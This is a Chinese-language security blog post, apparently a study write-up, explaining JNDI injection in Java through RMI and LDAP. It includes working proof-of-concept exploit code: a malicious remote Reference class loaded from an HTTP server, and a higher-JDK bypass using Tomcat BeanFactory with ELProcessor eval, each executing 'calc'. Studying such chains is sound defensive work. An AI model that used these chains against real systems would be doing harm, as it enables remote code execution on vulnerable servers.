java反序列化(五) JNDI注入

发布时间 2023-04-24 20:10:16作者: 卡拉梅尔

JNDI注入

前置知识

JNDI

JNDI (Java Naming and Directory Interface) 是一个应用程序设计的 API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。可以通过字符串来锁定一个对象

JNDI 支持的服务主要有以下几种:

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

1682173076150

LDAP

LDAP目录以树状的层次结构来存储数据,目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。目录服务是由目录数据库和一套访问协议组成的系统。

LDAP轻量级目录访问协议是个计算机名词,并不是Java特有

然后LDAP有些参数,感觉稍微了解下就好了,知道后面连接LDAP服务器时带的几个参数啥意思就行

1682324346335

JNDI+RMI

普通的RMI

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
    public String sayHello(String keywords) throws RemoteException;

}
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
    public RemoteObjImpl() throws RemoteException{
        super();
    }

    @Override
    public String sayHello(String keywords){
        String upKeywords = keywords.toUpperCase();
        System.out.println(upKeywords);
        return upKeywords;
    }
}
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        IRemoteObj remoteObj = new RemoteObjImpl();
        Registry r = LocateRegistry.createRegistry(1099);
        r.bind("remoteObj",remoteObj);

    }
}

与JNDI结合

import javax.naming.InitialContext;

public class JNDIRMIServer {
    public static void main(String[] args)throws Exception {
        InitialContext initialContext = new InitialContext();// 创建初始上下文
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());// 创建远程对象然后绑定到上下文
    }
}

import javax.naming.InitialContext;

public class JNDIRMIClient {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj)initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");// 通过字符串查找对象
        System.out.println(remoteObj.sayHello("hello"));
    }
}

实际运行效果和我们之前的RMI是一样的,JNDI里最终调用的还是RMI里的lookup,RMI里的攻击方法也适用

1682222638176

这里探讨下JNDI的攻击方法,上面代码将远程对象绑定到RMI服务,如果绑定的是一个含有恶意类的Reference,就可以在查询时触发恶意类的恶意代码。应用思路是伪造恶意服务端,通过控制客户端lookup的字符串来触发恶意代码

1682227915985

恶意类,编译下然后在.class目录里起个服务

import java.io.IOException;

public class Test {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}
 python -m http.server 8848

恶意服务端

import javax.naming.InitialContext;
import javax.naming.Reference;

public class JNDIRMIServer {
    public static void main(String[] args)throws Exception {
        InitialContext initialContext = new InitialContext();// 创建初始上下文
//        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());// 创建远程对象然后绑定到上下文
        Reference reference = new Reference("Test","Test","http://localhost:8848");
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",reference);
    }
}

1682228058960

简单理解下原理,客户端lookup之后找到服务端指定的Reference,接着进一步寻找Reference中的类,但并不能在本地找到,于是通过URLClassLoader远程获取到Reference中包含的类,在本地实例化从而触发代码

1682262393756

JNDI+LDAP

RMI和COBRA的方式很快就被修复了,但LDAP还多活了一阵

1682239128510

https://directory.apache.org/studio/downloads.html下载apache做的可视化LDAP服务器页面,这玩意jdk18一直起不了服务器,换了jdk11才正常

1682250520496

1682250596889

1682256962589

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;

public class JNDILDAPServer {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("Test", "Test", "http://localhost:8848");
        initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com",reference);// 默认的ldap端口,cn等参数也都用的默认

    }
}
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDILDAPClient {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
    }
}

先起LDAP服务器,在Test.class目录起个8848端口的服务,然后运行JNDILDAPServer绑定,最后运行JNDILDAPClient弹计算器

1682259826745

原理类似RMI,算是修复中的漏网之鱼。流程中可以看到攻击仅依赖于jdk版本,甚至不需要依赖任何库,很方便

高版版本绕过

1682239260791

当然LDAP最终难逃一死,更高的版本中添加了过滤,阻止通过URLClassLoader远程找到指定的factory(前面的RMI也是这么被过滤的)

8u65

1682261356925

11.0.19

1682261318125

TRUST_URL_CODE_BASE默认为false

1682261284358

在这之前客户端lookup查找reference、尝试获取reference的factory的流程是没有变化的,那如果reference中的恶意factory可以直接在本地找到,无需远程获取就不会被过滤

基于本地BeanFactory

The target class should have a public no-argument constructor and public setters with only one “String” parameter. In fact, these setters may not necessarily start from ‘set..’ as “BeanFactory” contains some logic surrounding how we can specify an arbitrary setter name for any parameter.

最基础的是找BeanFactory这个factroy

BeanFactory可以创建任意bean的实例并调用其setter方法,这个BeanFactory有一个奇怪的表现,他会读取ref对象中的forceString属性,如果这个属性的值为a=b,那么BeanFactory就会把函数b当做a属性的setter

具体原理我讲不太清,直接抄其他师傅的话,总之后面跟下流程就理解了

看网上说是老版本的tomcat没有自带el这个包,需要自己引入

		<dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-el</artifactId>
            <version>8.0.28</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>8.0.28</version>
        </dependency>

由于RMI和LDAP的修复方式差不多,所以这个绕过的方法同时适用于RMI和LDAP。RMIServer、JNDIRMIServer、JNDIRMCient都跑起来就成功弹出计算器了

import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.Reference;
import javax.naming.StringRefAddr;

public class JNDIRMIServer {
    public static void main(String[] args)throws Exception {
        InitialContext initialContext = new InitialContext();// 创建初始上下文
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true,
                "org.apache.naming.factory.BeanFactory", null);
        resourceRef.add(new StringRefAddr("forceString", "x=eval"));
        resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));// 通过ELProcessor.eval执行命令
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj", resourceRef);
    }
}

跟一下流程,在经历了一大堆rmi的东西后,客户端开始在RegistryContext.lookup的decodeObject中解析reference

1682327165654

在获知工厂类型为BeanFactory后调用BeanFactory.getObjectInstance1682327530190

1682327569424

至此进入BeanFactory,首先要求引用类型为Resourceref(正如之前在服务端绑定的),接着获取一个ELProcessor

1682327978856

在对addrs中的其他参数之前,Beanfactory优先处理forceString属性,然后以等号为分割将等号前后的值存入HashMap forced

1682328572603

1682337332692

接着获取addrs中的其他信息,包括最后的Runtime.getRuntime().exec(\"calc\")

1682335555885

1682335521460

最后根据forced反射调用ELProcessor的eval方法,执行命令Runtime.getRuntime().exec("calc")

1682335411143

总结

对工厂factory理解不够

之后再补其他饶过

参考

https://blog.z3ratu1.cn/Java RMI反序列化与JNDI注入入门.html

更多高版本绕过

https://tttang.com/archive/1405/

https://tttang.com/archive/1489/